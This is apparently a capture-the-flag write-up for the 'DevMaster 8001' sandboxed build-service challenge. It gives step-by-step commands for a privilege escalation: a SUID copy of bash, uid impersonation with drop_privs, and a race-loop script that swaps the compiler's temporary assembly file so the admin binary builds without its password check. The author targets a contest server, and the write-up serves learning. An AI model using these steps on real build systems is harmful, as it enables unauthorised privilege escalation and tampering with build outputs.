This challenge acted as build service. You could upload and execute files to it. Worker environment is sandboxed, and writable is only workdir of worker and /tmp. If we connect to the server using --admin flag, we have to pass in password for it to print the winning flag.

Same exploit method works for DevMaster 8000 and DevMaster 8001.

## Idea
After some time of solving this sandbox challenge I got curious about the /tmp folder. I could see temporary assembly file appear there for a second from time to time. Realizing that this assembly is output of g++ from sandboxed admin rebuild script, that is run every 30 seconds, an idea came to my mind. We could replace this file right before it will produce the final admin executable and effectively remove the check. The problem is that this file is owned by specific worker user, that is inaccessible to us, while it's building. To impersonate **uid** of that specific worker we have to do few things.

## Preparation
Modify the admin program, so it won't check our supplied password.
std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";
std::string actual_hash = picosha2::hash256_hex_string(password);
//if (expected_hash == actual_hash) {
if (true) {
std::ifstream flagfile("./flag");
if (!flagfile.is_open()) {
std::cerr << "Failed to open ./flag" << std::endl;

Run supplied multiplexer and connect to it with two interactive bash jobs. Upload drop_privs exe to the first bash session and edited admin program source to the second bash session.
[email protected]:~/devmaster$ ./multiplexer 13377 nc devmaster-8001.ctfcompetition.com 1337
[!] Multiplexer started, listening on port 13377
[email protected]:~/devmaster$ cp built_bins/drop_privs ../
[email protected]:~/devmaster$ built_bins/client nc localhost 13377 -- drop_privs -- drop_privs -- bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/user/builds/build-workdir-XXRw4T$ ls
[email protected]:~/devmaster$ built_bins/client nc localhost 13377 -- admin.cc -- admin.cc -- bash -i
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/user/builds/build-workdir-InU3Lo$ ls

### sandbox-runner-0
Inside the `sandbox-runner-0` make the workdir accessible to everyone and copy bash here. Make bash in workdir executable by everyone and set SUID bit. Exit this bash session, so admin build worker can use this worker for building.
[email protected]:/home/user/builds/build-workdir-XXRw4T$ chmod 777 ../build-workdir-XXRw4T
[email protected]:/home/user/builds/build-workdir-XXRw4T$ cp /bin/bash .
[email protected]:/home/user/builds/build-workdir-XXRw4T$ chmod 777 bash
[email protected]:/home/user/builds/build-workdir-XXRw4T$ chmod u+s bash
[email protected]:/home/user/builds/build-workdir-XXRw4T$ exit

### sandbox-runner-1
Coming back to `sandbox-runner-1`, let's compile our modified admin source into assembly file.
[email protected]:/home/user/builds/build-workdir-InU3Lo$ cp ../../picosha2.h .
[email protected]:/home/user/builds/build-workdir-InU3Lo$ g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin -S

Make the admin file executable by everyone and copy it into /tmp.
[email protected]:/home/user/builds/build-workdir-InU3Lo$ chmod 777 admin
[email protected]:/home/user/builds/build-workdir-InU3Lo$ cp admin /tmp/admin
[email protected]:/home/user/builds/build-workdir-InU3Lo$ ls /tmp

## Exploit
Change into old workdir of `sandbox-runner-0` and run that SUID bash there. You have to run it with -p flag to not loose gained **euid** privilege.
[email protected]:/home/user/builds/build-workdir-InU3Lo$ cd ../build-workdir-XXRw4T
[email protected]:/home/user/builds/build-workdir-XXRw4T$ ./bash -p
$ id
uid=1339(sandbox-runner-1) gid=1339(sandbox-runner-1) euid=1338(sandbox-runner-0) groups=1339(sandbox-runner-1),0(root)

Notice that our **euid** is `sandbox-runner-0` one. Having **euid** of worker, that is used for admin build, we can now run supplied drop_privs to gain **uid** of `sandbox-runner-0`.
$ ./drop_privs sandbox-runner-0 sandbox-runner-1 bash -p
$ id
uid=1338(sandbox-runner-0) gid=1339(sandbox-runner-1) groups=1339(sandbox-runner-1),0(root)

Having real **uid** of `sandbox-runner-0` we can now compromise the intermediate assembly used for building.

Using this script, we can detect the intermediate assembly file made during compilation of admin exe and replace it. Just copy paste the script into our impersonated `sandbox-runner-0` bash and wait for the replacement.

rename() {
echo here it is /tmp/*.s ;
cp -f /tmp/admin /tmp/*.s ;

while true; do
if [ $(ls -1 /tmp | wc -l) -eq 3 ] ; then
rename ;
fi ;

If you see it echo, you can now try to connect to the server with the --admin flag and get the flag.
[email protected]:~/devmaster$ built_bins/client --admin nc localhost 13377 -- drop_privs -- drop_privs --
Enter your password please.


If it didn't work, try to wait for the next rebuild. Time window for the race is quite small.

Original writeup (http://www.cromize.net/2019/06/devmaster8001-writeup/).